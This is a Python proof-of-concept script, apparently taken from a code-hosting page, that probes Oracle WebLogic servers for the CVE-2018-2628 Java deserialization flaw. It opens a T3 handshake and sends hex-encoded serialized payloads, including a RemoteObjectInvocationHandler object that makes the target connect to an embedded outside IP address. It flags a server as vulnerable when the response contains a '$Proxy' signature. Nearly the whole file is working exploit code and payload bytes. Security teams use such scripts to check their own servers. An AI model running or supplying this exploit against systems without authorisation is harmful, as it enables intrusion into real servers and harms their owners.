103 lines
7.3 KiB
Python
103 lines
7.3 KiB
Python
|
# https://github.com/rabbitmask/WeblogicR
|
|||
|
|
# !/usr/bin/env python
|
|||
|
|
# _*_ coding:utf-8 _*_
|
|||
|
|
import socket
|
|||
|
|
import math
|
|||
|
|
import time
|
|||
|
|
import re,requests
|
|||
|
|
|
|||
|
|
VUL = ['CVE-2018-2628']
|
|||
|
|
PAYLOAD = [
|
|||
|
|
'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
|
|||
|
|
VER_SIG = ['\\$Proxy[0-9]+']
|
|||
|
|
heads = {
|
|||
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
def t3handshake(sock, server_addr):
|
|||
|
|
sock.connect(server_addr)
|
|||
|
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
|||
|
|
time.sleep(1)
|
|||
|
|
sock.recv(1024)
|
|||
|
|
# print 'handshake successful'
|
|||
|
|
|
|||
|
|
|
|||
|
|
def buildT3RequestObject(sock, dport):
|
|||
|
|
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
|||
|
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(
|
|||
|
|
'{:04x}'.format(dport))
|
|||
|
|
data3 = '1a7727000d3234322e323134'
|
|||
|
|
data4 = '2e312e32353461863d1d0000000078'
|
|||
|
|
for d in [data1, data2, data3, data4]:
|
|||
|
|
sock.send(bytes.fromhex(d))
|
|||
|
|
time.sleep(2)
|
|||
|
|
# print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
|
|||
|
|
|
|||
|
|
|
|||
|
|
def sendEvilObjData(sock, data):
|
|||
|
|
payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
|||
|
|
payload += data
|
|||
|
|
payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
|||
|
|
payload = '%s%s' % ('{:08x}'.format(math.trunc(len(payload) / 2 + 4)), payload)
|
|||
|
|
sock.send(bytes.fromhex(payload))
|
|||
|
|
time.sleep(2)
|
|||
|
|
sock.send(bytes.fromhex(payload))
|
|||
|
|
res = b''
|
|||
|
|
# try:
|
|||
|
|
# while True:
|
|||
|
|
# res += sock.recv(4096)
|
|||
|
|
# time.sleep(0.1)
|
|||
|
|
# except:
|
|||
|
|
# pass
|
|||
|
|
# return res
|
|||
|
|
while True:
|
|||
|
|
try:
|
|||
|
|
res += sock.recv(4096)
|
|||
|
|
time.sleep(0.1)
|
|||
|
|
return res
|
|||
|
|
except:
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
|
|||
|
|
def checkVul(res, server_addr):
|
|||
|
|
p = re.findall(VER_SIG[0], str(res), re.S)
|
|||
|
|
# print(p)
|
|||
|
|
if len(p) > 0:
|
|||
|
|
# print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
|
|||
|
|
result = '目标Weblogic存在JAVA反序列化漏洞,CVE-2018-2628 : http://%s' % server_addr
|
|||
|
|
# print(result)
|
|||
|
|
return result
|
|||
|
|
# else:
|
|||
|
|
# return 'CVE-2018-2628'
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
def poc(ip):
|
|||
|
|
try:
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
|
##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
|
|||
|
|
# socket.setdefaulttimeout(10)
|
|||
|
|
sock.settimeout(15)
|
|||
|
|
|
|||
|
|
if '://' in str(ip):
|
|||
|
|
ip = ip.split('//')[1]
|
|||
|
|
rip = ip.split(':')[0]
|
|||
|
|
rport = int(ip.split(':')[1])
|
|||
|
|
server_addr = (str(rip), rport)
|
|||
|
|
try:
|
|||
|
|
t3handshake(sock, server_addr)
|
|||
|
|
buildT3RequestObject(sock, rport)
|
|||
|
|
for index in PAYLOAD:
|
|||
|
|
rs = sendEvilObjData(sock, index)
|
|||
|
|
return checkVul(rs, ip)
|
|||
|
|
except:
|
|||
|
|
pass
|
|||
|
|
except:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
a = poc('')
|
|||
|
|
print(a)
|